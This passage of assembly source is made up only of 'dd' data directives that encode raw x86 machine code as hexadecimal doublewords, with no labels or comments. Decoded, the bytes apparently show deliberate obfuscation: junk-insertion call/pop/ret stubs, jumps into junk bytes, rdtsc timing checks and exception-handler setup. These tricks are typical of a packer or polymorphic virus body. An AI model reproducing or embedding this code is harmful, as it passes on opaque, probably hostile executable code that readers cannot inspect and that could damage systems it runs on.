		dd 3847B9EEh, 9C1ACB81h, 0BD834BEBh, 5E901BDh, 9B850F01h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 5801C353h, 66DF29AFh, 0BCF0D381h
		dd 0BF0F026Ah, 0EADF80FBh, 0DE86090h, 0DC000000h, 6441DB89h
		dd 4050C793h, 7A94679Ah, 7F6BBB66h, 5B50535Fh, 5750615Bh
		dd 0EE9h, 6FAF6E00h, 1C91520Eh,	0E80E25BEh, 5B977CCBh
		dd 0CFCFBF90h, 95FF5FA8h, 5E900ADh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0A0C35545h,	0BCC825A8h, 0CB2848CAh
		dd 48C0Fh, 0BF660000h, 1EE9D713h, 0E800000Eh, 0
		dd 4FED815Dh, 6605ED87h, 51F58BBFh, 6A5FDE8Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 9E45C356h, 227B1760h, 8B376F0Eh, 4B858DDFh, 6A05EC90h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 29C9C350h, 509D3521h, 61D9BB66h, 8B240489h
		dd 0E92B55BDh, 68A0F05h, 81000000h, 0E03674DBh,	35FF6427h
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0D8C35747h
		dd 37E61EB1h, 2645B589h, 896405E9h, 25h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 30E2EF9Ch, 6558A746h, 858BF560h, 5E916C9h, 0B5BD0361h
		dd 0FF05E919h, 0E9068985h, 17F38105h, 6A281BFBh, 0EE9FFh
		dd 0F8420000h, 2FAC39B4h, 0B2FFE26Ch, 208FAD52h, 2839B5FFh
		dd 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0E5DD4EC3h, 45E57DE5h, 8BE4B33Fh,	0E93191BDh
		dd 95FFF505h, 5E907C9h,	142E9h,	0AE900h, 1EFB0000h, 0D21C0508h
		dd 7166CED5h, 11E9h, 0D1BF7F00h, 80B0EA28h, 0B92382A5h
		dd 97E4E3A2h, 0B0379Ch,	10E970E6h, 0F000000h, 0A78C8511h
		dd 0FD0EA0CEh, 902B5612h, 0E4D0B60Ch, 0D7816671h, 0BB66EB2Ch
		dd 613CF515h, 0F1830Fh,	89600000h, 0E9037D85h, 318D8905h
		dd 6105E931h, 0E9C8B60Fh, 0Eh, 3298DD53h, 7B2C1EB7h, 73F8D721h
		dd 6BAC8AEh, 8B000000h,	0E904F19Dh, 0E9C18B05h,	0Dh, 3BFC8E73h
		dd 0EC230749h, 17AAA640h, 4E8C1C5h, 13E9h, 0E9BE7800h
		dd 0B409F102h, 78708398h, 0E7DE9D80h, 0C8C1C4C9h, 2BE2F766h
		dd 89BD8BC8h, 0F505E924h, 0FB8BD18Bh, 3E9h, 0FFBF0F00h
		dd 0D89858Bh, 850F05E9h, 2, 0C083FE8Bh,	0C083FC07h, 0DBBF0F00h
		dd 830FD03Bh, 0Ah, 88CB8166h, 51E959h, 8D8B0000h, 5E90089h
		dd 6850Fh, 0B5890000h, 5E907BDh, 0F01E183h, 3684h, 0BD895200h
		dd 5E92CE1h, 89A5835Fh,	0FE05E900h, 0EE9h, 0D2DB6400h
		dd 0E4CBF04Ah, 0E611DE3Fh, 89F357F0h, 0E90D8995h, 0C9BD2305h
		dd 6605E918h, 0E9DF8Bh,	8D000000h, 0ED09A4B5h, 0C8F0F05h
		dd 0F000000h, 68Ch, 7DBD8B00h, 8B05E906h, 0E92F19BDh, 9006A05h
		dd 0E926FD95h, 9595FF05h, 6A05E91Eh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 898CC352h
		dd 0E9000D8Dh, 5BD8B05h, 0B905E92Eh, 83Eh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0E1C35747h, 8B51903Dh
		dd 0E92299BDh, 0E1835F05h, 9FCF9FCh, 0E91E8585h, 96BF6605h
		dd 0B876h, 0BF660000h, 0BA2226h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 8D0FC351h
		dd 0D81FA2DDh, 0CE9h, 0D259B600h, 170FF170h, 5B8723D0h
		dd 0C233ADE6h, 0D003E8D1h, 7504E983h, 63CF81F4h, 6A4E7273h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 3921C351h, 5DBF9B97h, 2B499589h, 880D05E9h
		dd 81000000h, 55EAC5C3h, 55958B76h, 6005E926h, 1ED19D89h
		dd 958905E9h, 5E93269h,	58D8B61h, 8B05E908h, 0C28B50F9h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0E858188Bh, 10h
		dd 0A17D0958h, 321F7C13h, 70799984h, 0CDD7DCDEh, 2BE5BD23h
		dd 6A5B05E9h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0FBAEC353h, 0AE96039h,	57000000h
		dd 1DFEFF3Eh, 44830CEBh, 0BD8361B1h, 5E91CF1h, 5B840F00h
		dd 0B3000000h, 0B89Ch, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0A1BC35C3h, 94F7199Ch
		dd 8D8DB0CAh, 5E94E6Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0EFC35040h, 38A0FBFh,	80000000h, 0E1FF04C7h
		dd 0BD83FEB7h, 5E9163Dh, 2F840F00h, 66000004h, 0BD29D98Bh
		dd 5E919C1h, 163DBD83h,	0F0105E9h, 43484h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 2A8FB779h, 0A99D8BE7h, 0E905E90Bh, 0Ch, 9A618DCBh, 0CE145DCEh
		dd 0EBA633F7h, 163DBD83h, 0F0305E9h, 3BA86h, 59D8B00h
		dd 6005E91Eh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ch,	34C35242h, 8CF211F2h, 2CC835AAh, 22199D8Bh, 8C6605E9h
		dd 4E180D9h, 0AB1D780h,	88840FC9h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8B05C352h, 69858BD9h, 6A05E928h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 6B8FC352h
		dd 1D6E8700h, 337EAD9Bh, 0E90E6185h, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 508B536Fh
		dd 5858944h, 9005E912h,	0DA8B5250h, 5DB7310Fh, 5250585Ah
		dd 5FF98B66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0B2A57066h, 0BF662D90h, 6A8478h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C6C35545h
		dd 0F50AA1E2h, 88CEDF62h, 10FD9589h, 4E805E9h, 0FF000000h
		dd 0E9001F03h, 8, 0BAB06490h, 80A58E3Ah, 8BDC8A50h, 0E9042444h
		dd 6, 0C88A5DBCh, 8B3ABBh, 89FE8B66h, 0BF042444h, 191380CAh
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0F74FF94h, 118Ch, 0B70F6000h, 6E8D8h, 9FFE0000h
		dd 0D2D08095h, 9D8B6159h, 5E90DA5h, 2D9DB531h, 95FF05E9h
		dd 5E9292Dh, 89DE8B66h,	0ECBACE85h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0A8E96105h
		dd 0F000001h, 8Eh, 8BDD8A00h, 0ECBAC685h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 260AC873h, 0ED4B762Eh, 0A99D8906h, 0C705E925h, 1800h
		dd 619D8B00h, 8B05E905h, 0ECBACAB5h, 51006A05h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 11A0377Bh
		dd 217341B0h, 258589DFh, 8B05E911h, 0E92F3985h,	52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 2832BB00h, 0EB800689h, 69858BFAh, 8B05E928h,	0E925259Dh
		dd 28DB8105h, 897C7BDBh, 6A0446h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0AF3F7BC3h, 0AED53236h
		dd 810F6050h, 2, 0B9665852h, 8961F25Fh,	6A2434h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 663337C3h, 0A030AC0Ch, 1F810Fh, 890F0000h, 19h, 13E8h
		dd 0D6F4C600h, 39FBAE64h, 0E2D20359h, 23D5F975h, 491A83FAh
		dd 0C6B5FF5Bh, 6A05ECBAh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0AF2BC352h,	276170E2h
		dd 28CA9C5Ch, 1FADBD8Bh, 10E905E9h, 19000000h, 0FB9FA494h
		dd 7CE9F098h, 1A20FC8Dh, 682C3088h, 4F61C0FDh, 3481F88Bh
		dd 7EC30224h, 0FDBB664Fh, 0CE858DB5h, 5605ECBAh, 27918D31h
		dd 505B05E9h, 66240489h, 0FF2036BBh, 0E9292D95h, 899D2305h
		dd 6105E924h, 0EE19D89h, 85C705E9h, 5E9163Dh, 3, 1D618D89h
		dd 0BD8305E9h, 5ECBACEh, 2C840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0F26FC356h, 0B70FB78Ah, 0EDF380DBh, 1DE9h, 50F88B00h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 67FFFDC3h, 8D658C23h, 0F55AD24Bh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EFC35747h, 5E8h
		dd 0BA057600h, 8B66CDBDh, 0BD835BF8h, 5E9163Dh,	88850F03h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 816BC355h, 0C1D2703Dh,	29A7EB4Eh
		dd 0E921B18Dh, 0CEBD8305h, 5ECBAh, 451840Fh, 81660000h
		dd 0E89062D3h, 6, 7D32C36h, 8B66D35Dh, 0B5FF5FD9h, 5ECBACEh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0BAC35343h
		dd 0F8E0B00Ah, 50905FC2h, 0FFDE8B66h, 0E92B7595h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 536AE2D9h, 38B0F14h,	0F000000h, 0B58BF9BFh, 5ECBAC2h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A4C35545h
		dd 5085ED38h, 362371BEh, 6E90Eh, 7CF70000h, 327B8703h
		dd 106C7h, 0B5890001h, 5E90D95h, 5E850h, 57890000h, 66FC54C2h
		dd 5FAD6DBBh, 0E9243489h, 5, 0FEBE071Eh, 0CEB5FFCEh, 0F05ECBAh
		dd 68Dh, 899D8B00h, 0F05E92Ah, 95FFDEB7h, 5E92B4Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F5C35141h, 0CA082D5Fh
		dd 0B58BF9ACh, 5ECBAC2h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 4BC35545h, 798BFA5Bh,	0E8BFCAE2h, 8B6A6E54h
		dd 0E90FDD85h, 89F98B05h, 0C486h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 4D4B967Dh
		dd 0FDF82C9h, 958BD8BFh, 5E92655h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 2DC35545h, 704B3B96h, 83A01B90h
		dd 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 1E8C86C3h, 0FF17549Bh, 0E05BD29h,	508905E9h
		dd 13E820h, 4B8F0000h, 591BC754h, 0B1AF10CDh, 923D1BABh
		dd 0D648E8C5h, 0D3816650h, 8D5BFA9Fh, 0ECD05585h, 0C1BD8B05h
		dd 8905E902h, 0B886h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 652179h, 6A106531h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 53D47DBAh, 0BD1A0F5Eh, 0E95638EDh, 5, 0CA7A51C3h, 0B5FF5FA6h
		dd 5ECBACEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	93C35141h, 0AD95FFh, 0BD2B05E9h, 5E91651h, 0F2B06096h
		dd 5061DC8Ah, 2E6DE3BBh, 6A9671h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 66EE6BC3h, 0B5FFD98Bh
		dd 5ECBACEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0FAC35545h, 95FFD98Bh, 5E93231h, 0B1BD83F9h, 5E92Ah
		dd 67840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0C0B9A1C3h, 8405C0FFh, 0B3ACBB5Ah
		dd 0BB6696F7h, 0F500468h, 8Bh, 6A9600h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BE840C3h
		dd 10000000h, 151AB71Eh, 759850Ch, 0E78184B3h, 49A2E299h
		dd 0CEB5FF5Fh, 6A05ECBAh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 9430C357h, 6676D30Dh
		dd 51BD8B29h, 8105E918h, 0F66765EBh, 6195FF3Dh,	6A05E92Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0B2C9C350h, 17B98D89h, 0B5FF05E9h, 5ECBACEh
		dd 2A79BD89h, 95FF05E9h, 5E92DC5h, 83F88B66h, 0E903FDBDh
		dd 840F0205h, 75h, 0E94AB060h, 0Fh, 1912FE3Ah, 0C51F055Dh
		dd 0A79F0013h, 611A332Bh, 3055858Bh, 6A05E9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 9F4766C3h
		dd 0C6E164h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 66E9BA49h, 0CE86Ah, 2EF00000h, 94E31258h
		dd 49A77F6h, 0F98B6F17h, 0A985C75Fh, 5E927h, 0F000000h
		dd 684h, 9D8D8900h, 6605E90Ah, 0E9B208BFh, 0FFFFF31Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0B5C35040h
		dd 6AC18B9Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0BBB0C356h, 0B90C6982h, 8D9D8B60h
		dd 6605E92Dh, 0BCA1E681h, 0E5858D61h, 5005E921h, 489F98Ah
		dd 29006A24h, 0E92E5D85h, 6A006A05h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0F52CC351h
		dd 0F8FCC74h, 858DF8BFh, 5ED96F6h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0D1C35747h,	6B3A1929h, 7E8E94Dh
		dd 24000000h, 0D4B3D712h, 91BBA579h, 5F12466Bh,	8905C083h
		dd 0E9045D9Dh, 66509005h, 990FA8Bh, 0E916EDBDh,	6A006A05h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0E20DC357h, 8166006Ah, 0FFD89BF3h, 0E90AA195h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0CAAA1B62h, 0F3816660h, 858938B3h, 5E92F71h
		dd 0BF8D8D61h, 6A05ECADh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 85DFC350h, 8A0FE94Ah
		dd 6, 17B98D29h, 0D1FF05E9h, 4DCF8166h,	0BDBD83FCh, 105E901h
		dd 69850Fh, 0DE90000h, 0EE000000h, 1870E30Eh, 0E3F5151Dh
		dd 0B44B2F21h, 8C0F026Ah, 6, 4E58D89h, 509005E9h, 12E8h
		dd 0FE5D8800h, 1E5A79D3h, 542A4D9h, 551EFE8Eh, 5BAC1311h
		dd 18A0F90h, 0FC000000h, 0AD95FFh, 6A05E9h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 66801CC3h
		dd 0E9879DBFh, 0F32h, 0E8h, 0ED815D00h,	5ED9700h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E0C35545h, 6ABBB7h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 8B2D48C3h, 7350B09Ah, 89345F86h, 0E926419Dh,	0D19D2905h
		dd 8905E918h, 0E90D9D9Dh, 4B858D05h, 6A05EC90h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0F66FC353h, 2F40ABA8h, 6EBB6650h, 24048944h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0F9C35646h, 0F5DB80C5h
		dd 35FF64h, 2B000000h, 0E916399Dh, 25896405h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7FC35040h
		dd 3CB7E095h, 0BD039EF8h, 5E90579h, 85FFD98Bh, 5E90689h
		dd 1839BD8Bh, 0FF6A05E9h, 399B5FFh, 4FBB05E9h, 0F4624EFh
		dd 95FFDAB7h, 5E907C9h,	11EE9h,	0B5853100h, 0B005E902h
		dd 0F19D8B00h, 0E605E929h, 9BD8B70h, 0E405E931h, 418D8971h
		dd 3C05E90Fh, 0F8830F61h, 89000000h, 0E912719Dh, 719D8905h
		dd 0F05E917h, 0DA8BC8B6h, 6BAh,	0B98D8900h, 8B05E926h
		dd 852960C1h, 5E90CD1h,	7E952h,	0DA40000h, 11C08B63h, 0C1615F50h
		dd 0D78104E8h, 7D8A098h, 0DED4BF66h, 89E2F766h,	0E90FA18Dh
		dd 0F8C82B05h, 8BD18BF9h, 0E91F65BDh, 6E905h, 9D8B0000h
		dd 5E9193Dh, 2B41858Bh,	5E905E9h, 0B3000000h, 498E568Fh
		dd 8907C083h, 0E924398Dh, 0C08305h, 12599D8Bh, 0D03B05E9h
		dd 0E830Fh, 0BF0F0000h,	65E9DFh, 8D890000h, 5E908F1h, 1EA18D8Bh
		dd 14E805E9h, 75000000h, 0B099EDC4h, 148C0459h,	949A277Fh
		dd 96CB4AEFh, 0FC4A1919h, 1E1835Fh, 35840Fh, 0B70F0000h
		dd 19D8BD8h, 8305E90Bh,	0E91EA1A5h, 0AE9FE05h, 0B5000000h
		dd 5AF8087Bh, 790A1D57h, 159589C3h, 8905E910h, 0E92B4195h
		dd 0EB816605h, 0E952ABh, 8D000000h, 0ED13E9B5h,	51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 481F52C4h, 89B183E7h, 0E927B9BDh, 66006A05h,	9D11DB81h
		dd 13E852h, 36E00000h, 0BE655F3Dh, 0B54AD9CCh, 0A2C24DBAh
		dd 0ADFC485Eh, 6DBD8B09h, 5B05E92Eh, 9595FF5Fh,	6A05E91Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0BCC0C350h, 0AE10C602h, 73D381EFh, 891ACA99h
		dd 0E9068D85h, 780B905h, 9D890000h, 5E91F79h, 6AFCE183h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0ED29C357h, 0BF0F6AECh, 6AFCFFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 10E89DC3h, 68000000h, 44F340BFh, 0CFED4A21h,	0D9D5CFF9h
		dd 669B78E1h, 0B85BFE8Bh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1FC35646h
		dd 5AABCA31h, 0BC4C05B8h, 68E0F6Eh, 1000000h, 0E90B5DBDh
		dd 6AD22B05h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0ED3DC352h, 851EEEB8h,	0C1DB8183h
		dd 0AD395FD5h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 5943C357h, 10C311A5h, 85318585h, 5E9162Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0AAC35141h, 0ECF4C7Eh
		dd 69BD8BF2h, 0D05E912h, 88h, 2F4DBD33h, 958B05E9h, 5E92655h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0ABC35747h
		dd 0DE83084h, 505E34BBh, 58D8B50h, 6A05E908h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0C067C352h, 13F8F7DDh, 0B59D8BC5h, 5005E904h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 99DFE30Bh
		dd 800F7A12h, 6, 17C59589h, 0BD8305E9h,	5E91CF1h, 0B2840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 10B6C357h, 785B31BEh, 0B8009445h
		dd 0
		dd 7E9h, 0B44DCC00h, 3DF3C73Ch,	4E6D8D8Dh, 6A05E9h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0AB77DDC3h, 6F3D8671h, 11E8BA2Ch, 78000000h,	5FA7D3CCh
		dd 71BDD6AFh, 0F688E060h, 8A90FC3h, 8A0Fh, 0F5F0000h, 9D8BDBB7h
		dd 5E91F51h, 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 129031C3h, 0D242EBEBh, 0FABF0FCBh
		dd 6CD78166h, 3DBD835Fh, 5E916h, 4DB840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 2F65C6C3h, 292E650Fh, 0E926EDB5h, 3DBD8305h,	105E916h
		dd 4C2840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 33EAFDC3h, 0DE389F2Bh, 0AE9C394h
		dd 18000000h, 0A309E648h, 52F717BCh, 3DBD8360h,	305E916h
		dd 44C860Fh, 0C7810000h, 7AE77EE6h, 56006A60h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 5EFECEFDh
		dd 66ED79CCh, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 60854AC3h, 0F519589h, 958905E9h
		dd 5E92CCDh, 4E18061h, 10E9h, 2D126A00h, 26DB581Dh, 225E3C5Dh
		dd 6AC66C53h, 0FC90ADFh, 16B84h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 213A2FEAh
		dd 426043E0h, 0CE9h, 0E772A300h, 0CE4B396Dh, 6E72887Ch
		dd 69858B62h, 0F05E928h, 0A87h,	5E900h,	46C60000h, 3340226Dh
		dd 0E90E6185h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 7D9EB87Dh, 39BD8BD0h
		dd 9005E924h, 10E960h, 62F00000h, 505EBA8Ch, 0AB1A5531h
		dd 0F38F768Ah, 5061BBE5h, 6A90F88Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0EE81C353h
		dd 0FDAD48E5h, 0FCB6C30Fh, 0E8F8B70Fh, 13h, 797AA610h
		dd 4F3622D3h, 0F4747D1Ah, 9B046E7Ch, 0FB77B2Ah,	8Ch, 6A5F00h
		dd 6860Fh, 0BD890000h, 5E90F99h, 4E8h, 1F03FF00h, 5E800h
		dd 23660000h, 0BB017CBDh, 57041E78h, 80B7505Fh,	424448Bh
		dd 14E85250h, 0B5000000h, 7ED3B57Dh, 0E1E1C0BBh, 59D71B0h
		dd 140BD5Fh, 0F71C9FAh,	84h, 310F5F00h,	585A40B7h, 6056008Bh
		dd 0D2F4BF66h, 310F5250h, 5B61585Ah, 4244489h, 8958FB8Bh
		dd 0E91DB58Dh, 2D95FF05h, 0F805E929h, 0BACE8589h, 0B50905ECh
		dd 5E931FDh, 1F6E9F9h, 95290000h, 5E90595h, 0BAC6858Bh
		dd 9D8905ECh, 5E93149h,	1800C7h, 9D8B0000h, 5E92B65h, 8BFEB70Fh
		dd 0ECBACAB5h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 8B3483BCh, 858B2963h
		dd 5E92F39h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0D1C35242h, 532865Ch, 9D8B573Eh, 5E90D85h, 3D85895Bh
		dd 8905E919h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0CA84F5BCh, 1DAFEC00h, 2869858Bh
		dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 667D6CC3h, 4689B226h, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 699AFA68h
		dd 33B98074h, 0E904DD9Dh, 34895005h, 3D850124h,	0FF05E90Dh
		dd 0ECBAC6B5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 6911EB70h, 4E8F1h, 3FF0000h
		dd 8B66001Fh, 0DD8A50FEh, 424448Bh, 0FE9h, 0EFB6500h, 2933166h
		dd 39EEED03h, 0D28F6F96h, 5250008Bh, 310FDE8Bh,	5B29A9BBh
		dd 89585A76h, 66042444h, 584DEFBBh, 4E98531h, 858D05E9h
		dd 5ECBACEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	8EC35545h, 8C3E12D5h, 831950B6h, 89D88B50h, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0E2BBD0C3h, 0F11B9F04h, 8BF63540h, 0E92301BDh, 29566005h
		dd 0E90E4D8Dh, 0FF615E05h, 0E9292D95h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 9D89A813h, 5E90761h,	85C7FC61h, 5E9163Dh, 3,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 1FC35545h, 0B44FF08Eh
		dd 0DF98509h, 816605E9h, 83DEB6F3h, 0ECBACEBDh,	840F0005h
		dd 36h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h
		dd 25C35646h, 2D9589D3h, 0F05E90Dh, 26E9F9B7h, 0E9000000h
		dd 6, 3299BF77h, 3050D64Eh, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 0D9589C0h, 8305E927h, 0E9163DBDh
		dd 850F0305h, 473h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 61C35545h, 93E59BD5h,	1D68060h, 0F9D88166h
		dd 0BF0F6140h, 0CEBD83FEh, 5ECBAh, 439840Fh, 0BE80000h
		dd 4F000000h, 95A243DAh, 3B3EFBB5h, 0F605753h, 85h, 49950300h
		dd 6105E900h, 0CEB5FF5Fh, 0FF05ECBAh, 0E92B7595h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 63F092B6h, 8B6651FCh, 0B58B5BFBh, 5ECBAC2h, 38B0Fh
		dd 8B660000h, 106C7F9h,	6A000100h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 1A93C356h
		dd 65E03379h, 0BD01FC8Ah, 5E903D5h, 850F6096h, 15h, 0FE8h
		dd 0DEF3D200h, 6FAE907Dh, 0C0B55857h, 149D269Bh, 9650615Bh
